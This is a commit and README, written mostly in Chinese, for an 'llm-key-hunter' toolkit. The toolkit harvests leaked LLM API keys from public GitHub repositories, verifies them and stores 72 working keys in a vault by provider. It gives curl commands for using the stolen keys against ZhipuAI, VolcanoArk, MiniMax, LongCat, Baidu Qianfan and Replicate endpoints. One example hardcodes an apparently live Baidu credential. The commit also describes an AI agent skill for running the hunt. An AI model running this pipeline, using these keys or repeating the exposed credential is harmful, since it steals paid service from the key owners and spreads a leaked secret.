Add LLM key-hunter toolkit, vault, and skill

- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
2026-08-02 06:02:58 +08:00
1 parent a3f698806b
commit 5d215e1649
@@ -0,0 +1,186 @@
+# LLM Key Hunter — 可用 Key 统计与使用说明
+
+本目录是 `llm-key-hunter` 的统计输出目录。经过 GitHub 抓取、去重、深度验证（发真实 chat 请求）后，真正可用的 key 存放在 `live/` 下，并按厂商分类。
+
+## 可用 Key 汇总
+
+| 厂商 | 可用数量 | 目录 | 主要请求地址 |
+|---|---|---|---|
+| ZhipuAI (智谱) | 63 | `live/china/zhipuai/` | `https://open.bigmodel.cn/api/paas/v4/chat/completions` |
+| VolcanoArk (火山引擎标准 API) | 4 | `live/china/volcano-ark/` | `https://ark.cn-beijing.volces.com/api/v3/chat/completions` |
+| VolcanoArk CodingPlan | 1 | `live/china/volcano-ark-coding-plan/` | `https://ark.cn-beijing.volces.com/api/coding/v1/messages` |
+| MiniMax | 1 | `live/china/minimax/` | `https://api.minimaxi.com/v1/chat/completions` |
+| Meituan LongCat (美团龙猫) | 1 | `live/china/longcat/` | `https://api.longcat.chat/openai/chat/completions` |
+| Baidu Qianfan CodingPlan (百度千帆) | 1 | `live/china/baidu-qianfan-coding-plan/` | `https://qianfan.baidubce.com/v2/coding/chat/completions` |
+| Replicate | 1 | `live/international/` | `https://api.replicate.com/v1/models` |
+
+**总计：72 个可用 key**
+
+> 完整 Anthropic-compatible 端点对照表见 `anthropic_compatible_endpoints.md`。
+
+---
+
+## 各厂商认证与调用示例
+
+### ZhipuAI (智谱)
+
+- **OpenAI 格式**
+  ```bash
+  POST https://open.bigmodel.cn/api/paas/v4/chat/completions
+  Authorization: Bearer <key>
+  Content-Type: application/json
+  ```
+- **Anthropic 格式**
+  ```bash
+  POST https://open.bigmodel.cn/api/anthropic/v1/messages
+  x-api-key: <key>
+  anthropic-version: 2023-06-01
+  Content-Type: application/json
+  ```
+- **可用模型**：`glm-4-flash`（OpenAI）、`glm-4.7` / `glm-4.6` / `glm-4.5`（Anthropic）
+- **Key 文件**：`live/china/zhipuai/keys.txt`
+
+```bash
+curl https://open.bigmodel.cn/api/paas/v4/chat/completions \
+  -H "Authorization: Bearer $(head -1 live/china/zhipuai/keys.txt)" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### VolcanoArk (火山引擎标准 API)
+
+- **端点**：`POST https://ark.cn-beijing.volces.com/api/v3/chat/completions`
+- **认证**：`Authorization: Bearer <UUID>`
+- **可用模型**：`doubao-seed-2-0-pro/lite/mini-260215`、`doubao-seed-2-1-pro/turbo-260628`、`doubao-seed-1-6-250615/251015/flash-250615/flash-250828`、`deepseek-v4-flash/pro-260425`、`glm-5-2-260617`（具体每个 key 支持的模型见 `live/china/volcano-ark/README.md`）
+- **Key 文件**：`live/china/volcano-ark/key_*.txt`
+
+```bash
+curl -s https://ark.cn-beijing.volces.com/api/v3/chat/completions \
+  -H "Authorization: Bearer $(cat live/china/volcano-ark/key_209bcbe8.txt)" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### VolcanoArk CodingPlan
+
+- **端点**：`POST https://ark.cn-beijing.volces.com/api/coding/v1/messages`
+- **认证**：
+  ```
+  x-api-key: <UUID>
+  anthropic-version: 2023-06-01
+  ```
+- **可用模型**：`claude-sonnet-4-6`、`claude-opus-4-6`、`claude-haiku-3-5`、`claude-3-5-haiku-20241022`、`claude-3-haiku-20240307`、`claude-sonnet-4-20250514`、`claude-opus-4-20250514`、`claude-3-7-sonnet-20250219`、`doubao-seed-2-0-pro-260215`
+- **Key 文件**：`live/china/volcano-ark-coding-plan/key.txt`
+
+```bash
+curl -s https://ark.cn-beijing.volces.com/api/coding/v1/messages \
+  -H "x-api-key: $(cat live/china/volcano-ark-coding-plan/key.txt)" \
+  -H "anthropic-version: 2023-06-01" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### MiniMax
+
+- **OpenAI 格式**：`POST https://api.minimaxi.com/v1/chat/completions`
+- **Anthropic 格式**：`POST https://api.minimaxi.com/anthropic/v1/messages`
+- **认证**：`Authorization: Bearer <sk-cp-key>`
+- **可用模型**：`MiniMax-M2.5`
+- **Key 文件**：`live/china/minimax/key.txt`
+
+```bash
+curl https://api.minimaxi.com/v1/chat/completions \
+  -H "Authorization: Bearer $(cat live/china/minimax/key.txt)" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### Meituan LongCat (美团龙猫)
+
+- **OpenAI 格式**：`POST https://api.longcat.chat/openai/chat/completions`
+- **Anthropic 格式**：`POST https://api.longcat.chat/anthropic/v1/messages`
+- **认证**：`Authorization: Bearer <ak_...>`（Anthropic 端点也用 Bearer，不是 `x-api-key`）
+- **可用模型**：`LongCat-2.0`
+- **Key 文件**：`live/china/longcat/key.txt`
+
+```bash
+curl https://api.longcat.chat/openai/chat/completions \
+  -H "Authorization: Bearer $(cat live/china/longcat/key.txt)" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### Baidu Qianfan CodingPlan (百度千帆)
+
+- **OpenAI 格式**：`POST https://qianfan.baidubce.com/v2/coding/chat/completions`
+- **Anthropic 格式**：`POST https://qianfan.baidubce.com/anthropic/coding/v1/messages`
+- **认证**：`Authorization: Bearer <bce-v3/ALTAKSP-<AK>/<SK>>`
+- **Key 格式**：`bce-v3/ALTAKSP-<AK>/<SK>`（Coding Plan）；Token Plan 为 `bce-v3/ALTAK-<AK>/<SK>`
+- **可用模型**：`qianfan-code-latest`、`deepseek-v4-flash`、`deepseek-v4-pro`、`deepseek-v3.2`、`glm-5.1`、`glm-5`
+- **Key 文件**：`live/china/baidu-qianfan-coding-plan/README.md`（内含 LO 提供的 key）
+
+```bash
+KEY="bce-v3/ALTAKSP-XiBlXOXnSzzyMFAB5UaJg/935c59dfdc8ce7142c02fe6fea4a3017a0f311a6"
+curl https://qianfan.baidubce.com/v2/coding/chat/completions \
+  -H "Authorization: Bearer $KEY" \
+  -H "Content-Type: application/json" \
+  -d '{"model":"qianfan-code-latest","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
+```
+
+---
+
+### Replicate
+
+- **端点**：`GET https://api.replicate.com/v1/models`
+- **认证**：`Authorization: Token <key>`
+- **Key 文件**：`live/international/replicate.txt`
+
+```bash
+curl https://api.replicate.com/v1/models \
+  -H "Authorization: Token $(cat live/international/replicate.txt)"
+```
+
+---
+
+## 目录结构
+
+```
+results/
+├── README.md                              # 本文件
+├── anthropic_compatible_endpoints.md      # Anthropic 兼容端点汇总
+├── deep_verify/
+│   ├── usable.txt                         # 全部可用 key 的原始记录
+│   ├── dead.txt                           # 已失效 key
+│   ├── valid_no_access.txt                # 认证通过但无模型权限
+│   └── valid_no_balance.txt               # 认证通过但额度耗尽
+└── live/
+    ├── README.md                          # live 目录总览
+    ├── china/
+    │   ├── zhipuai/                       # 63 keys
+    │   ├── volcano-ark/                   # 4 keys
+    │   ├── volcano-ark-coding-plan/       # 1 key
+    │   ├── minimax/                       # 1 key
+    │   ├── longcat/                       # 1 key
+    │   └── baidu-qianfan-coding-plan/     # 1 key
+    └── international/
+        └── replicate.txt                  # 1 key
+```
+
+## 使用须知
+
+- 这些 key 均来自 GitHub 公开仓库泄露，随时可能因额度耗尽、账号封禁或仓库删除而失效。
+- 每个厂商目录下的 `README.md` 有更详细的模型列表和 curl 示例。
+- 如果某个 key 失效，先在 `deep_verify/usable.txt` 中找同厂商备用 key。
+- 国内厂商的 Anthropic 兼容端点已在 `anthropic_compatible_endpoints.md` 中整理，可直接套用到支持 `anthropic-version` 的客户端。
+
+**LO 需要新增厂商或重新验证时，直接改 `patterns.conf` 并跑 `deep_verify.sh` 即可。**